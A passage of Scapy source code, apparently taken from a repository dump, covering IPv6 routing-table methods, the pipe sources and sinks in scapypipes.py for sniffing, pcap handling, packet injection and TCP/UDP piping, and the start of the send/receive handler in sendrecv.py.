delt(dst=\"2001:db8:cafe:f000::/56\")\n        delt(dst=\"2001:db8:cafe:f000::/56\", gw=\"2001:db8:deca::1\")\n        \"\"\"\n        tmp = dst + \"/128\"\n        dst, plen_b = tmp.split('/')[:2]\n        dst = in6_ptop(dst)\n        plen = int(plen_b)\n        to_del = [x for x in self.routes\n                  if in6_ptop(x[0]) == dst and x[1] == plen]\n        if gw:\n            gw = in6_ptop(gw)\n            to_del = [x for x in self.routes if in6_ptop(x[2]) == gw]\n        if len(to_del) == 0:\n            warning(\"No matching route found\")\n        elif len(to_del) > 1:\n            warning(\"Found more than one match. Aborting.\")\n        else:\n            i = self.routes.index(to_del[0])\n            self.invalidate_cache()\n            self.remove_ipv6_iface(self.routes[i][3])\n            del self.routes[i]\n\n    def ifchange(self, iff, addr):\n        # type: (str, str) -> None\n        the_addr, the_plen_b = (addr.split(\"/\") + [\"128\"])[:2]\n        the_plen = int(the_plen_b)\n\n        naddr = inet_pton(socket.AF_INET6, the_addr)\n        nmask = in6_cidr2mask(the_plen)\n        the_net = inet_ntop(socket.AF_INET6, in6_and(nmask, naddr))\n\n        for i, route in enumerate(self.routes):\n            net, plen, gw, iface, _, metric = route\n            if iface != iff:\n                continue\n\n            self.ipv6_ifaces.add(iface)\n\n            if gw == '::':\n                self.routes[i] = (the_net, the_plen, gw, iface, [the_addr], metric)  # noqa: E501\n            else:\n                self.routes[i] = (net, plen, gw, iface, [the_addr], metric)\n        self.invalidate_cache()\n        conf.netcache.in6_neighbor.flush()  # type: ignore\n\n    def ifdel(self, iff):\n        # type: (str) -> None\n        \"\"\" removes all route entries that uses 'iff' interface. \"\"\"\n        new_routes = []\n        for rt in self.routes:\n            if rt[3] != iff:\n                new_routes.append(rt)\n        self.invalidate_cache()\n        self.routes = new_routes\n        self.remove_ipv6_iface(iff)\n\n    def ifadd(self, iff, addr):\n        # type: (str, str) -> None\n        \"\"\"\n        Add an interface 'iff' with provided address into routing table.\n\n        Ex: ifadd('eth0', '2001:bd8:cafe:1::1/64') will add following entry into  # noqa: E501\n            Scapy6 internal routing table:\n\n            Destination           Next Hop  iface  Def src @           Metric\n            2001:bd8:cafe:1::/64  ::        eth0   2001:bd8:cafe:1::1  1\n\n            prefix length value can be omitted. In that case, a value of 128\n            will be used.\n        \"\"\"\n        addr, plen_b = (addr.split(\"/\") + [\"128\"])[:2]\n        addr = in6_ptop(addr)\n        plen = int(plen_b)\n        naddr = inet_pton(socket.AF_INET6, addr)\n        nmask = in6_cidr2mask(plen)\n        prefix = inet_ntop(socket.AF_INET6, in6_and(nmask, naddr))\n        self.invalidate_cache()\n        self.routes.append((prefix, plen, '::', iff, [addr], 1))\n        self.ipv6_ifaces.add(iff)\n\n    def route(self, dst=\"\", dev=None, verbose=conf.verb):\n        # type: (str, Optional[str], int) -> Tuple[str, str, str]\n        \"\"\"\n        Provide best route to IPv6 destination address, based on Scapy\n        internal routing table content.\n\n        When a set of address is passed (e.g. ``2001:db8:cafe:*::1-5``) an\n        address of the set is used. Be aware of that behavior when using\n        wildcards in upper parts of addresses !\n\n        If 'dst' parameter is a FQDN, name resolution is performed and result\n        is used.\n\n        if optional 'dev' parameter is provided a specific interface, filtering\n        is performed to limit search to route associated to that interface.\n        \"\"\"\n        dst = dst or \"::/0\"  # Enable route(None) to return default route\n        # Transform \"2001:db8:cafe:*::1-5:0/120\" to one IPv6 address of the set\n        dst = dst.split(\"/\")[0]\n        savedst = dst  # In case following inet_pton() fails\n        dst = dst.replace(\"*\", \"0\")\n        idx = dst.find(\"-\")\n        while idx >= 0:\n            m = (dst[idx:] + \":\").find(\":\")\n            dst = dst[:idx] + dst[idx + m:]\n            idx = dst.find(\"-\")\n\n        try:\n            inet_pton(socket.AF_INET6, dst)\n        except socket.error:\n            dst = socket.getaddrinfo(savedst, None, socket.AF_INET6)[0][-1][0]\n            # TODO : Check if name resolution went well\n\n        # Deal with dev-specific request for cache search\n        k = dst\n        if dev is not None:\n            k = dst + \"%%\" + dev\n        if k in self.cache:\n            return self.cache[k]\n\n        paths = []  # type: List[Tuple[int, int, Tuple[str, List[str], str]]]\n\n        # TODO : review all kinds of addresses (scope and *cast) to see\n        #        if we are able to cope with everything possible. I'm convinced\n        #        it's not the case.\n        # -- arnaud\n        for p, plen, gw, iface, cset, me in self.routes:\n            if dev is not None and iface != dev:\n                continue\n            if in6_isincluded(dst, p, plen):\n                paths.append((plen, me, (iface, cset, gw)))\n            elif (in6_ismlladdr(dst) and in6_islladdr(p) and in6_islladdr(cset[0])):  # noqa: E501\n                paths.append((plen, me, (iface, cset, gw)))\n\n        if not paths:\n            if dst == \"::1\":\n                return (conf.loopback_name, \"::1\", \"::\")\n            else:\n                if verbose:\n                    warning(\"No route found for IPv6 destination %s \"\n                            \"(no default route?)\", dst)\n                return (dev or conf.loopback_name, \"::\", \"::\")\n\n        # Sort with longest prefix first then use metrics as a tie-breaker\n        paths.sort(key=lambda x: (-x[0], x[1]))\n\n        best_plen = (paths[0][0], paths[0][1])\n        paths = [x for x in paths if (x[0], x[1]) == best_plen]\n\n        res = []  # type: List[Tuple[int, int, Tuple[str, str, str]]]\n        for path in paths:  # we select best source address for every route\n            tmp_c = path[2]\n            srcaddr = get_source_addr_from_candidate_set(dst, tmp_c[1])\n            if srcaddr is not None:\n                res.append((path[0], path[1], (tmp_c[0], srcaddr, tmp_c[2])))\n\n        if res == []:\n            warning(\"Found a route for IPv6 destination '%s', but no possible source address.\", dst)  # noqa: E501\n            return (conf.loopback_name, \"::\", \"::\")\n\n        # Symptom  : 2 routes with same weight (our weight is plen)\n        # Solution :\n        #  - dst is unicast global. Check if it is 6to4 and we have a source\n        #    6to4 address in those available\n        #  - dst is link local (unicast or multicast) and multiple output\n        #    interfaces are available. Take main one (conf.iface)\n        #  - if none of the previous or ambiguity persists, be lazy and keep\n        #    first one\n\n        if len(res) > 1:\n            tmp = []  # type: List[Tuple[int, int, Tuple[str, str, str]]]\n            if in6_isgladdr(dst) and in6_isaddr6to4(dst):\n                # TODO : see if taking the longest match between dst and\n                #        every source addresses would provide better results\n                tmp = [x for x in res if in6_isaddr6to4(x[2][1])]\n            elif in6_ismaddr(dst) or in6_islladdr(dst):\n                # TODO : I'm sure we are not covering all addresses. Check that\n                tmp = [x for x in res if x[2][0] == conf.iface]\n\n            if tmp:\n                res = tmp\n\n        # Fill the cache (including dev-specific request)\n        k = dst\n        if dev is not None:\n            k = dst + \"%%\" + dev\n        self.cache[k] = res[0][2]\n\n        return res[0][2]\n\n\nconf.route6 = Route6()\n"
  },
  {
    "path": "scapy/scapypipes.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Philippe Biondi <phil@secdev.org>\n\nfrom queue import Queue, Empty\nimport socket\nimport subprocess\n\nfrom scapy.automaton import ObjectPipe\nfrom scapy.config import conf\nfrom scapy.compat import raw\nfrom scapy.interfaces import _GlobInterfaceType\nfrom scapy.packet import Packet\nfrom scapy.pipetool import Source, Drain, Sink\nfrom scapy.utils import ContextManagerSubprocess, PcapReader, PcapWriter\n\nfrom scapy.supersocket import SuperSocket\nfrom typing import (\n    Any,\n    Callable,\n    List,\n    Optional,\n    cast,\n)\n\n\nclass SniffSource(Source):\n    \"\"\"Read packets from an interface and send them to low exit.\n\n    .. code::\n\n             +-----------+\n          >>-|           |->>\n             |           |\n           >-|  [iface]--|->\n             +-----------+\n\n    If neither of the ``iface`` or ``socket`` parameters are specified, then\n    Scapy will capture from the first network interface.\n\n    :param iface: A layer 2 interface to sniff packets from. Mutually\n                  exclusive with the ``socket`` parameter.\n    :param filter: Packet filter to use while capturing. See ``L2listen``.\n                   Not used with ``socket`` parameter.\n    :param socket: A ``SuperSocket`` to sniff packets from.\n    \"\"\"\n\n    def __init__(self,\n                 iface=None,  # type: Optional[str]\n                 filter=None,  # type: Optional[Any]\n                 socket=None,  # type: Optional[SuperSocket]\n                 name=None,  # type: Optional[Any]\n                 ):\n        # type: (...) -> None\n        Source.__init__(self, name=name)\n\n        if (iface or filter) and socket:\n            raise ValueError(\"iface and filter options are mutually exclusive \"\n                             \"with socket\")\n\n        self.s = cast(SuperSocket, socket)\n        self.iface = iface\n        self.filter = filter\n\n    def start(self):\n        # type: () -> None\n        if not self.s:\n            self.s = conf.L2listen(iface=self.iface, filter=self.filter)\n\n    def stop(self):\n        # type: () -> None\n        if self.s:\n            self.s.close()\n\n    def fileno(self):\n        # type: () -> int\n        return self.s.fileno()\n\n    def deliver(self):\n        # type: () -> None\n        try:\n            pkt = self.s.recv()\n            if pkt is not None:\n                self._send(pkt)\n        except EOFError:\n            self.is_exhausted = True\n\n\nclass RdpcapSource(Source):\n    \"\"\"Read packets from a PCAP file send them to low exit.\n\n    .. code::\n\n         +----------+\n      >>-|          |->>\n         |          |\n       >-|  [pcap]--|->\n         +----------+\n    \"\"\"\n\n    def __init__(self, fname, name=None):\n        # type: (str, Optional[Any]) -> None\n        Source.__init__(self, name=name)\n        self.fname = fname\n        self.f = PcapReader(self.fname)\n\n    def start(self):\n        # type: () -> None\n        self.f = PcapReader(self.fname)\n        self.is_exhausted = False\n\n    def stop(self):\n        # type: () -> None\n        self.f.close()\n\n    def fileno(self):\n        # type: () -> int\n        return self.f.fileno()\n\n    def deliver(self):\n        # type: () -> None\n        try:\n            p = self.f.recv()\n            self._send(p)\n        except EOFError:\n            self.is_exhausted = True\n\n\nclass InjectSink(Sink):\n    \"\"\"Packets received on low input are injected to an interface\n\n    .. code::\n\n         +-----------+\n      >>-|           |->>\n         |           |\n       >-|--[iface]  |->\n         +-----------+\n    \"\"\"\n\n    def __init__(self, iface=None, name=None):\n        # type: (Optional[_GlobInterfaceType], Optional[str]) -> None\n        Sink.__init__(self, name=name)\n        if iface is None:\n            iface = conf.iface\n        self.iface = iface\n\n    def start(self):\n        # type: () -> None\n        self.s = conf.L2socket(iface=self.iface)\n\n    def stop(self):\n        # type: () -> None\n        self.s.close()\n\n    def push(self, msg):\n        # type: (Packet) -> None\n        self.s.send(msg)\n\n\nclass Inject3Sink(InjectSink):\n    def start(self):\n        # type: () -> None\n        self.s = conf.L3socket(iface=self.iface)\n\n\nclass WrpcapSink(Sink):\n    \"\"\"\n    Writes :py:class:`Packet` on the low entry to a ``pcap`` file.\n    Ignores all messages on the high entry.\n\n    .. note::\n\n        Due to limitations of the ``pcap`` format, all packets **must** be of\n        the same link type. This class will not mutate packets to conform with\n        the expected link type.\n\n    .. code::\n\n         +----------+\n      >>-|          |->>\n         |          |\n       >-|--[pcap]  |->\n         +----------+\n\n    :param fname: Filename to write packets to.\n    :type fname: str\n    :param linktype: See :py:attr:`linktype`.\n    :type linktype: None or int\n\n    .. py:attribute:: linktype\n\n        Set an explicit link-type (``DLT_``) for packets.  This must be an\n        ``int`` or ``None``.\n\n        This is the same as the :py:func:`wrpcap` ``linktype`` parameter.\n\n        If ``None`` (the default), the linktype will be auto-detected on the\n        first packet. This field will *not* be updated with the result of this\n        auto-detection.\n\n        This attribute has no effect after calling :py:meth:`PipeEngine.start`.\n    \"\"\"\n\n    def __init__(self, fname, name=None, linktype=None, **kwargs):\n        # type: (str, Optional[str], Optional[int], **Any) -> None\n        Sink.__init__(self, name=name)\n        self.fname = fname\n        self.f = None  # type: Optional[PcapWriter]\n        self.linktype = linktype\n        self.kwargs = kwargs\n\n    def start(self):\n        # type: () -> None\n        self.f = PcapWriter(self.fname, linktype=self.linktype, **self.kwargs)\n\n    def stop(self):\n        # type: () -> None\n        if self.f:\n            self.f.flush()\n            self.f.close()\n\n    def push(self, msg):\n        # type: (Packet) -> None\n        if msg and self.f:\n            self.f.write(msg)\n\n\nclass WiresharkSink(WrpcapSink):\n    \"\"\"\n    Streams :py:class:`Packet` from the low entry to Wireshark.\n\n    Packets are written into a ``pcap`` stream (like :py:class:`WrpcapSink`),\n    and streamed to a new Wireshark process on its ``stdin``.\n\n    Wireshark is run with the ``-ki -`` arguments, which cause it to treat\n    ``stdin`` as a capture device.  Arguments in :py:attr:`args` will be\n    appended after this.\n\n    Extends :py:mod:`WrpcapSink`.\n\n    .. code::\n\n         +----------+\n      >>-|          |->>\n         |          |\n       >-|--[pcap]  |->\n         +----------+\n\n    :param linktype: See :py:attr:`WrpcapSink.linktype`.\n    :type linktype: None or int\n    :param args: See :py:attr:`args`.\n    :type args: None or list[str]\n\n    .. py:attribute:: args\n\n        Additional arguments for the Wireshark process.\n\n        This must be either ``None`` (the default), or a ``list`` of ``str``.\n\n        This attribute has no effect after calling :py:meth:`PipeEngine.start`.\n\n        See :manpage:`wireshark(1)` for more details.\n    \"\"\"\n\n    def __init__(self, name=None, linktype=None, args=None):\n        # type: (Optional[Any], Optional[int], Optional[List[str]]) -> None\n        WrpcapSink.__init__(self, fname=\"\", name=name, linktype=linktype)\n        self.args = args\n\n    def start(self):\n        # type: () -> None\n        # Wireshark must be running first, because PcapWriter will block until\n        # data has been read!\n        with ContextManagerSubprocess(conf.prog.wireshark):\n            args = [conf.prog.wireshark, \"-Slki\", \"-\"]\n            if self.args:\n                args.extend(self.args)\n\n            proc = subprocess.Popen(\n                args,\n                stdin=subprocess.PIPE,\n                stdout=None,\n                stderr=None,\n            )\n\n        self.fname = proc.stdin  # type: ignore\n        WrpcapSink.start(self)\n\n\nclass UDPDrain(Drain):\n    \"\"\"UDP payloads received on high entry are sent over UDP\n\n    .. code::\n\n         +-------------+\n      >>-|--[payload]--|->>\n         |      X      |\n       >-|----[UDP]----|->\n         +-------------+\n    \"\"\"\n\n    def __init__(self, ip=\"127.0.0.1\", port=1234):\n        # type: (str, int) -> None\n        Drain.__init__(self)\n        self.ip = ip\n        self.port = port\n\n    def push(self, msg):\n        # type: (Packet) -> None\n        from scapy.layers.inet import IP, UDP\n        if IP in msg and msg[IP].proto == 17 and UDP in msg:\n            payload = msg[UDP].payload\n            self._high_send(raw(payload))\n\n    def high_push(self, msg):\n        # type: (Packet) -> None\n        from scapy.layers.inet import IP, UDP\n        p = IP(dst=self.ip) / UDP(sport=1234, dport=self.port) / msg\n        self._send(p)\n\n\nclass FDSourceSink(Source):\n    \"\"\"Use a file descriptor as source and sink\n\n    .. code::\n\n         +-------------+\n      >>-|             |->>\n         |             |\n       >-|-[file desc]-|->\n         +-------------+\n    \"\"\"\n\n    def __init__(self, fd, name=None):\n        # type: (ObjectPipe[Any], Optional[Any]) -> None\n        Source.__init__(self, name=name)\n        self.fd = fd\n\n    def push(self, msg):\n        # type: (str) -> None\n        self.fd.write(msg)\n\n    def fileno(self):\n        # type: () -> int\n        return self.fd.fileno()\n\n    def deliver(self):\n        # type: () -> None\n        self._send(self.fd.read())\n\n\nclass TCPConnectPipe(Source):\n    \"\"\"TCP connect to addr:port and use it as source and sink\n\n    .. code::\n\n         +-------------+\n      >>-|             |->>\n         |             |\n       >-|-[addr:port]-|->\n         +-------------+\n    \"\"\"\n    __selectable_force_select__ = True\n\n    def __init__(self, addr=\"\", port=0, name=None):\n        # type: (str, int, Optional[str]) -> None\n        Source.__init__(self, name=name)\n        self.addr = addr\n        self.port = port\n        self.fd = cast(socket.socket, None)\n\n    def start(self):\n        # type: () -> None\n        self.fd = socket.socket()\n        self.fd.connect((self.addr, self.port))\n\n    def stop(self):\n        # type: () -> None\n        if self.fd:\n            self.fd.close()\n\n    def push(self, msg):\n        # type: (bytes) -> None\n        self.fd.send(msg)\n\n    def fileno(self):\n        # type: () -> int\n        return self.fd.fileno()\n\n    def deliver(self):\n        # type: () -> None\n        try:\n            msg = self.fd.recv(65536)\n        except socket.error:\n            self.stop()\n            raise\n        if msg:\n            self._send(msg)\n\n\nclass TCPListenPipe(TCPConnectPipe):\n    \"\"\"TCP listen on [addr:]port and use first connection as source and sink;\n    send peer address to high output\n\n    .. code::\n\n         +------^------+\n      >>-|    +-[peer]-|->>\n         |   /         |\n       >-|-[addr:port]-|->\n         +-------------+\n    \"\"\"\n    __selectable_force_select__ = True\n\n    def __init__(self, addr=\"\", port=0, name=None):\n        # type: (str, int, Optional[str]) -> None\n        TCPConnectPipe.__init__(self, addr, port, name)\n        self.connected = False\n        self.q: Queue[Any] = Queue()\n\n    def start(self):\n        # type: () -> None\n        self.connected = False\n        self.fd = socket.socket()\n        self.fd.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n        self.fd.bind((self.addr, self.port))\n        self.fd.listen(1)\n\n    def push(self, msg):\n        # type: (bytes) -> None\n        if self.connected:\n            self.fd.send(msg)\n        else:\n            self.q.put(msg)\n\n    def deliver(self):\n        # type: () -> None\n        if self.connected:\n            try:\n                msg = self.fd.recv(65536)\n            except socket.error:\n                self.stop()\n                raise\n            if msg:\n                self._send(msg)\n        else:\n            fd, frm = self.fd.accept()\n            self._high_send(frm)\n            self.fd.close()\n            self.fd = fd\n            self.connected = True\n            self._trigger(frm)\n            while True:\n                try:\n                    self.fd.send(self.q.get(block=False))\n                except Empty:\n                    break\n\n\nclass UDPClientPipe(TCPConnectPipe):\n    \"\"\"UDP send packets to addr:port and use it as source and sink\n    Start trying to receive only once a packet has been send\n\n    .. code::\n\n         +-------------+\n      >>-|             |->>\n         |             |\n       >-|-[addr:port]-|->\n         +-------------+\n    \"\"\"\n\n    def __init__(self, addr=\"\", port=0, name=None):\n        # type: (str, int, Optional[str]) -> None\n        TCPConnectPipe.__init__(self, addr, port, name)\n        self.connected = False\n\n    def start(self):\n        # type: () -> None\n        self.fd = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n        self.fd.connect((self.addr, self.port))\n        self.connected = True\n\n    def push(self, msg):\n        # type: (bytes) -> None\n        self.fd.send(msg)\n\n    def deliver(self):\n        # type: () -> None\n        if not self.connected:\n            return\n        try:\n            msg = self.fd.recv(65536)\n        except socket.error:\n            self.stop()\n            raise\n        if msg:\n            self._send(msg)\n\n\nclass UDPServerPipe(TCPListenPipe):\n    \"\"\"UDP bind to [addr:]port and use as source and sink\n    Use (ip, port) from first received IP packet as destination for all data\n\n    .. code::\n\n         +------^------+\n      >>-|    +-[peer]-|->>\n         |   /         |\n       >-|-[addr:port]-|->\n         +-------------+\n    \"\"\"\n\n    def __init__(self, addr=\"\", port=0, name=None):\n        # type: (str, int, Optional[str]) -> None\n        TCPListenPipe.__init__(self, addr, port, name)\n        self._destination = None  # type: Any\n\n    def start(self):\n        # type: () -> None\n        self.fd = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n        self.fd.bind((self.addr, self.port))\n\n    def push(self, msg):\n        # type: (bytes) -> None\n        if self._destination:\n            self.fd.sendto(msg, self._destination)\n        else:\n            self.q.put(msg)\n\n    def deliver(self):\n        # type: () -> None\n        if self._destination:\n            try:\n                msg = self.fd.recv(65536)\n            except socket.error:\n                self.stop()\n                raise\n            if msg:\n                self._send(msg)\n        else:\n            msg, dest = self.fd.recvfrom(65536)\n            if msg:\n                self._send(msg)\n            self._destination = dest\n            self._trigger(dest)\n            self._high_send(dest)\n            while True:\n                try:\n                    msg = self.q.get(block=False)\n                    self.fd.sendto(msg, self._destination)\n                except Empty:\n                    break\n\n\nclass TriggeredMessage(Drain):\n    \"\"\"Send a preloaded message when triggered and trigger in chain\n\n    .. code::\n\n         +------^------+\n      >>-|      | /----|->>\n         |      |/     |\n       >-|-[ message ]-|->\n         +------^------+\n    \"\"\"\n\n    def __init__(self, msg, name=None):\n        # type: (str, Optional[Any]) -> None\n        Drain.__init__(self, name=name)\n        self.msg = msg\n\n    def on_trigger(self, trigmsg):\n        # type: (bool) -> None\n        self._send(self.msg)\n        self._high_send(self.msg)\n        self._trigger(trigmsg)\n\n\nclass TriggerDrain(Drain):\n    \"\"\"Pass messages and trigger when a condition is met\n\n    .. code::\n\n         +------^------+\n      >>-|-[condition]-|->>\n         |      |      |\n       >-|-[condition]-|->\n         +-------------+\n    \"\"\"\n\n    def __init__(self, f, name=None):\n        # type: (Callable[..., None], Optional[str]) -> None\n        Drain.__init__(self, name=name)\n        self.f = f\n\n    def push(self, msg):\n        # type: (str) -> None\n        v = self.f(msg)\n        if v:\n            self._trigger(v)\n        self._send(msg)\n\n    def high_push(self, msg):\n        # type: (str) -> None\n        v = self.f(msg)\n        if v:\n            self._trigger(v)\n        self._high_send(msg)\n\n\nclass TriggeredValve(Drain):\n    \"\"\"Let messages alternatively pass or not, changing on trigger\n\n.. code::\n\n         +------^------+\n      >>-|-[pass/stop]-|->>\n         |      |      |\n       >-|-[pass/stop]-|->\n         +------^------+\n    \"\"\"\n\n    def __init__(self, start_state=True, name=None):\n        # type: (bool, Optional[Any]) -> None\n        Drain.__init__(self, name=name)\n        self.opened = start_state\n\n    def push(self, msg):\n        # type: (str) -> None\n        if self.opened:\n            self._send(msg)\n\n    def high_push(self, msg):\n        # type: (str) -> None\n        if self.opened:\n            self._high_send(msg)\n\n    def on_trigger(self, msg):\n        # type: (bool) -> None\n        self.opened ^= True\n        self._trigger(msg)\n\n\nclass TriggeredQueueingValve(Drain):\n    \"\"\"Let messages alternatively pass or queued, changing on trigger\n\n    .. code::\n\n         +------^-------+\n      >>-|-[pass/queue]-|->>\n         |      |       |\n       >-|-[pass/queue]-|->\n         +------^-------+\n    \"\"\"\n\n    def __init__(self, start_state=True, name=None):\n        # type: (bool, Optional[Any]) -> None\n        Drain.__init__(self, name=name)\n        self.opened = start_state\n        self.q: Queue[Any] = Queue()\n\n    def start(self):\n        # type: () -> None\n        self.q = Queue()\n\n    def push(self, msg):\n        # type: (str) -> None\n        if self.opened:\n            self._send(msg)\n        else:\n            self.q.put((True, msg))\n\n    def high_push(self, msg):\n        # type: (str) -> None\n        if self.opened:\n            self._send(msg)\n        else:\n            self.q.put((False, msg))\n\n    def on_trigger(self, msg):\n        # type: (bool) -> None\n        self.opened ^= True\n        self._trigger(msg)\n        while True:\n            try:\n                low, msg = self.q.get(block=False)\n            except Empty:\n                break\n            else:\n                if low:\n                    self._send(msg)\n                else:\n                    self._high_send(msg)\n\n\nclass TriggeredSwitch(Drain):\n    r\"\"\"Let messages alternatively high or low, changing on trigger\n\n    .. code::\n\n         +------^------+\n      >>-|-\\    |    /-|->>\n         |  [up/down]  |\n       >-|-/    |    \\-|->\n         +------^------+\n    \"\"\"\n\n    def __init__(self, start_state=True, name=None):\n        # type: (bool, Optional[Any]) -> None\n        Drain.__init__(self, name=name)\n        self.low = start_state\n\n    def push(self, msg):\n        # type: (str) -> None\n        if self.low:\n            self._send(msg)\n        else:\n            self._high_send(msg)\n    high_push = push\n\n    def on_trigger(self, msg):\n        # type: (bool) -> None\n        self.low ^= True\n        self._trigger(msg)\n"
  },
  {
    "path": "scapy/sendrecv.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Philippe Biondi <phil@secdev.org>\n\n\"\"\"\nFunctions to send and receive packets.\n\"\"\"\n\nimport itertools\nfrom threading import Thread, Event\nimport os\nimport re\nimport socket\nimport subprocess\nimport time\nimport warnings\n\nfrom scapy.compat import plain_str\nfrom scapy.data import ETH_P_ALL\nfrom scapy.config import conf\nfrom scapy.error import warning\nfrom scapy.interfaces import (\n    network_name,\n    resolve_iface,\n    NetworkInterface,\n)\nfrom scapy.packet import Packet\nfrom scapy.pton_ntop import inet_pton\nfrom scapy.utils import get_temp_file, tcpdump, wrpcap, \\\n    ContextManagerSubprocess, PcapReader, EDecimal\nfrom scapy.plist import (\n    PacketList,\n    QueryAnswer,\n    SndRcvList,\n)\nfrom scapy.error import log_runtime, log_interactive, Scapy_Exception\nfrom scapy.base_classes import Gen, SetGen\nfrom scapy.sessions import DefaultSession\nfrom scapy.supersocket import SuperSocket, IterSocket\n\n# Typing imports\nfrom typing import (\n    Any,\n    Callable,\n    Dict,\n    Iterator,\n    List,\n    Optional,\n    Tuple,\n    Type,\n    Union,\n    cast\n)\nfrom scapy.interfaces import _GlobInterfaceType\nfrom scapy.plist import _PacketIterable\n\nif conf.route is None:\n    # unused import, only to initialize conf.route and conf.iface*\n    import scapy.route  # noqa: F401\n\n#################\n#  Debug class  #\n#################\n\n\nclass debug:\n    recv = PacketList([], \"Received\")\n    sent = PacketList([], \"Sent\")\n    match = SndRcvList([], \"Matched\")\n    crashed_on = None  # type: Optional[Tuple[Type[Packet], bytes]]\n\n\n####################\n#  Send / Receive  #\n####################\n\n_DOC_SNDRCV_PARAMS = \"\"\"\n    :param pks: SuperSocket instance to send/receive packets\n    :param pkt: the packet to send\n    :param timeout: how much time to wait after the last packet has been sent\n    :param inter: delay between two packets during sending\n    :param verbose: set verbosity level\n    :param chainCC: if True, KeyboardInterrupts will be forwarded\n    :param retry: if positive, how many times to resend unanswered packets\n        if negative, how many times to retry when no more packets\n        are answered\n    :param multi: whether to accept multiple answers for the same stimulus\n    :param first: stop after receiving the first response of any sent packet\n    :param rcv_pks: if set, will be used instead of pks to receive packets.\n        packets will still be sent through pks\n    :param prebuild: pre-build the packets before starting to send them.\n        Automatically enabled when a generator is passed as the packet\n    :param _flood:\n    :param threaded: if True, packets are sent in a thread and received in another.\n        Defaults to True.\n    :param session: a flow decoder used to handle stream of packets\n    :param chainEX: if True, exceptions during send will be forwarded\n    :param stop_filter: Python function applied to each packet to determine if\n        we have to stop the capture after this packet.\n    \"\"\"\n\n\n_GlobSessionType = Union[Type[DefaultSession], DefaultSession]\n\n\nclass SndRcvHandler(object):\n    \"\"\"\n    Util to send/receive packets, used by sr*().\n    Do not use directly.\n\n    This matches the requests and answers.\n\n    Notes::\n      - threaded: if you're planning to send/receive many packets, it's likely\n        a good idea to use threaded mode.\n      - DEVS: store the outgoing timestamp right BEFORE sending the packet\n        to avoid races that could result in negative latency. We aren't Stadia\n    \"\"\"\n    def __init__(self,\n                 pks,  # type: SuperSocket\n                 pkt,  # type: _PacketIterable\n                 timeout=None,  # type: Optional[int]\n                 inter=0,  # type: int\n                 verbose=None,  # type: Optional[int]\n                 chainCC=False,  # type: bool\n                 retry=0,  # type: int\n                 multi=False,  # type: bool\n                 first=False,  # type: bool\n                 rcv_pks=None,  # type: Optional[SuperSocket]\n                 prebuild=False,  # type: bool\n                 _flood=None,  # type: Optional[_FloodGenerator]\n                 threaded=True,  # type: bool\n                 session=None,  # type: Optional[_GlobSessionType]\n                 chainEX=False,  # type: bool\n                 stop_filter=None  # type: Optional[Callable[[Packet], bool]]\n                 ):\n        # type: (...) -> None\n        # Instantiate all arguments\n        if verbose is None:\n            verbose = conf.verb\n        if conf.debug_match:\n            debug.recv = PacketList([], \"Received\")\n            debug.sent = PacketList([], \"Sent\")\n            debug.match = SndRcvList([], \"Matched\")\n        self.nbrecv = 0\n        self.ans = []  # type: List[QueryAnswer]\n        self.pks = pks\n        self.rcv_pks = rcv_pks or pks\n        self.inter = inter\n        self.verbose = verbose\n        self.chainCC = chainCC\n        self.multi = multi\n        self.timeout = timeout\n        self.first = first\n        self.session = session\n        self.chainEX = chainEX\n        self.stop_filter = stop_filter\n        self._send_done = False\n        self.notans = 0\n        self.noans = 0\n        self._flood = _flood\n        self.threaded = threaded\n        self.breakout = Event()\n        # Instantiate packet holders\n        if prebuild and not self._flood:\n            self.tobesent = list(pkt)  # type: _PacketIterable\n        else:\n            self.tobesent = pkt\n\n        if retry < 0:\n            autostop = retry = -retry\n        else:\n            autostop = 0\n\n        if timeout is not None and timeout < 0:\n            self.timeout = None\n\n        while retry >= 0:\n            self.breakout.clear()\n            self.hsent = {}  # type: Dict[bytes, List[Packet]]\n\n            if threaded or self._flood:\n                # Send packets in thread.\n                snd_thread = Thread(\n                    target=self._sndrcv_snd\n                )\n                snd_thread.daemon = True\n\n                # Start routine with callback\n                interrupted = None\n                try:\n                    self._sndrcv_rcv(snd_thread.start)\n                except KeyboardInterrupt as ex:\n                    interrupted = ex\n\n                self.breakout.set()\n\n                # Ended. Let's close gracefully\n                if self._flood:\n                    # Flood: stop send thread\n                    self._flood.stop()\n                snd_thread.join()\n\n                if interrupted and self.chainCC:\n                    raise interrupted\n            else:\n                # Send packets, then receive.\n                try:\n                    self._sndrcv_rcv(self._sndrcv_snd)\n                except KeyboardInterrupt:\n                    if self.chainCC:\n                        raise\n\n            if multi:\n                remain = [\n                    p for p in itertools.chain(*self.hsent.values())\n                    if not hasattr(p, '_answered')\n                ]\n            else:\n                remain = list(itertools.chain(*self.hsent.values()))\n\n            if autostop and len(remain) > 0 and \\\n               len(remain) != len(self.tobesent):\n                retry = autostop\n\n            self.tobesent = remain\n            if len(self.tobesent) == 0:\n                break\n            retry -= 1\n\n        if conf.debug_match:\n            debug.sent = PacketList(remain[:], \"Sent\")\n            debug.match = SndRcvList(self.ans[:])\n\n        # Clean the ans list to delete the field _answered\n        if multi:\n            for snd, _ in self.ans:\n                if hasattr(snd, '_answered'):\n                    del snd._answered\n\n        if verbose:\n            print(\n                \"\\nReceived %i packets, got %i answers, \"\n                \"remaining %i packets\" % (\n                    self.nbrecv + len(self.ans), len(self.ans),\n                    max(0, self.notans - self.noans)\n                )\n            )\n\n        self.ans_result = SndRcvList(self.ans)\n        self.unans_result = PacketList(remain, \"Unanswered\")\n\n    def results(self):\n        # type: () -> Tuple[SndRcvList, PacketList]\n        return self.ans_result, self.unans_result\n\n    def _stop_sniffer_if_done(self) -> None:\n        \"\"\"Close the sniffer if all expected answers have been received\"\"\"\n        if (\n            self._send_done and self.noans >= self.notans and not self.multi or\n            self.first and self.noans\n        ):\n            if self.sniffer and self.sniffer.running:\n                self.sniffer.stop(join=False)\n\n    def _sndrcv_snd(self):\n        # type: () -> None\n        \"\"\"Function used in the sending thread of sndrcv()\"\"\"\n        i = 0\n        p = None\n        try:\n            if self.verbose:\n                os.write(1, b\"Begin emission\\n\")\n            for p in self.tobesent:\n                # Populate the dictionary 